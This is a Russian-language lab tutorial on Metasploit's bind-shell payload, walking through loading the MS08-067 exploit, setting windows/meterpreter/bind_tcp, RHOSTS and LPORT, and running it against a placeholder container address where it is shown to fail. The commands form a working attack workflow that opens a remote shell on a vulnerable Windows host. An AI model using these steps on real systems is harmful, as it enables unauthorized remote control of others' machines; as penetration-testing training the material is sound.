Введение
В этой лабораторной работе вы изучите основные шаги использования полезной нагрузки (payload) типа "bind shell" в Metasploit Framework. Metasploit — это мощный инструмент для тестирования на проникновение, который позволяет специалистам по безопасности находить, использовать и проверять уязвимости.
"Полезная нагрузка" (payload) в Metasploit — это код, который выполняется на целевой системе после успешной эксплуатации уязвимости. Полезная нагрузка типа "bind shell" — это специфический тип, который открывает прослушиваемый порт на целевой машине. Затем злоумышленник подключается к этому порту, чтобы получить командную оболочку и управлять системой. Это отличается от "reverse shell", где целевая машина инициирует обратное соединение с атакующим.
В ходе этой лабораторной работы вы отработаете полный рабочий процесс: запуск Metasploit, выбор эксплойта, настройку полезной нагрузки "bind shell" с необходимыми параметрами и попытку запуска эксплойта.
Выбор модуля эксплойта для цели
На этом этапе вы запустите консоль Metasploit Framework и выберете модуль эксплойта. Эксплойт — это фрагмент кода, который использует конкретную уязвимость в системе. Для этой лабораторной работы мы будем использовать известный эксплойт в демонстрационных целях.
Сначала откройте терминал и запустите консоль Metasploit. Мы будем использовать флаг -q для "тихого" режима (quiet mode), чтобы пропустить баннер и ускорить запуск.
msfconsole -q
После загрузки консоли ваш приглашение командной строки изменится на msf6 >. Теперь вам нужно выбрать эксплойт. Мы будем использовать эксплойт ms08_067_netapi, который нацелен на уязвимость в службе Windows Server.
Используйте команду use для загрузки модуля эксплойта:
use exploit/windows/smb/ms08_067_netapi
После выполнения команды вы увидите, что ваше приглашение командной строки изменилось, отражая текущий активный модуль эксплойта.
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >
Обратите внимание, что Metasploit по умолчанию выбрал полезную нагрузку reverse_tcp. Мы изменим это на следующем шаге.
Установка полезной нагрузки windows/meterpreter/bind_tcp
На этом этапе вы измените полезную нагрузку по умолчанию на полезную нагрузку типа "bind shell". Как упоминалось во введении, полезная нагрузка "bind" откроет порт на целевой системе, ожидая подключения атакующего.
Мы будем использовать windows/meterpreter/bind_tcp. Эта полезная нагрузка не только предоставляет вам оболочку, но и сессию Meterpreter, которая является продвинутой, многофункциональной полезной нагрузкой, обеспечивающей больший контроль над целевой системой.
В приглашении msfconsole используйте команду set payload, чтобы указать новую полезную нагрузку:
set payload windows/meterpreter/bind_tcp
Metasploit подтвердит изменение.
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
Теперь вы успешно настроили эксплойт для использования полезной нагрузки Meterpreter типа "bind".
Установка опции RHOSTS для эксплойта
На этом шаге вам необходимо указать цель вашего эксплойта. В Metasploit адрес цели устанавливается с помощью опции RHOSTS (Remote Hosts - Удаленные хосты).
Вы должны сообщить Metasploit, какую машину атаковать. В реальном сценарии вы бы обнаружили IP-адрес уязвимой машины посредством разведки. Для этой лабораторной работы мы будем использовать IP-адрес-заполнитель.
Используйте команду set для настройки опции RHOSTS. Установим ее на 172.17.0.2, что является распространенным IP-адресом для контейнера в сети Docker bridge.
set RHOSTS 172.17.0.2
Консоль подтвердит, что опция RHOSTS была установлена.
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
Теперь Metasploit знает, куда отправлять эксплойт.
Установка опции LPORT для полезной нагрузки на цели
На этом шаге вы настроите порт прослушивания для bind shell. При использовании полезной нагрузки типа "bind" опция LPORT (Local Port - Локальный порт) указывает TCP-порт, который полезная нагрузка откроет на целевой машине. Это ключевой момент: вы определяете порт, к которому будете подключаться после успешного выполнения эксплойта.
Для этой цели мы будем использовать стандартный порт 4444.
Используйте команду set для настройки опции LPORT:
set LPORT 4444
Консоль подтвердит настройку.
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444
Чтобы убедиться, что все наши опции установлены правильно, вы можете использовать команду show options для просмотра конфигурации как эксплойта, так и полезной нагрузки.
show options
Вы должны увидеть таблицу вывода, где RHOSTS и LPORT правильно установлены с предоставленными вами значениями.
...
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 172.17.0.2 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
...
Запуск эксплойта и подключение к порту прослушивания
На этом шаге, после настройки всех опций, вы запустите атаку. Команда exploit (или ее псевдоним run) указывает Metasploit отправить эксплойт и полезную нагрузку цели.
Теперь запустите эксплойт:
exploit
Важное примечание: В этой лабораторной среде нет уязвимой машины Windows по адресу 172.17.0.2. Поэтому эксплойт не удастся. Цель этого шага — понять команду и наблюдать за процессом. В реальном тесте на проникновение, если бы цель была уязвима, эта команда создала бы сессию.
Вы увидите, как Metasploit попытается подключиться, но в конечном итоге истечет время ожидания. Вывод будет выглядеть примерно так:
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.
Этот вывод является ожидаемым. Он подтверждает, что Metasploit выполнил эксплойт, но сессия не была установлена, поскольку цель не была уязвима или доступна. Вы успешно завершили рабочий процесс использования полезной нагрузки bind shell.
Чтобы выйти из консоли Metasploit, введите exit:
exit
Резюме
В этой лабораторной работе вы изучили основной процесс настройки и использования полезной нагрузки bind shell в Metasploit Framework.
Вы отработали основной рабочий процесс:
- Запуск консоли Metasploit (
msfconsole). - Выбор модуля эксплойта с помощью команды
use. - Установка конкретной полезной нагрузки с помощью
set payload. - Настройка специфичных для цели опций, таких как
RHOSTS(IP-адрес цели) иLPORT(порт прослушивания на цели). - Выполнение атаки с помощью команды
exploit.
Самое главное, теперь вы понимаете ключевую особенность bind shell: она открывает слушатель на целевой системе, требуя от атакующего подключения к нему. Эти фундаментальные знания критически важны для проведения тестов на проникновение и понимания различных методов получения удаленного доступа.


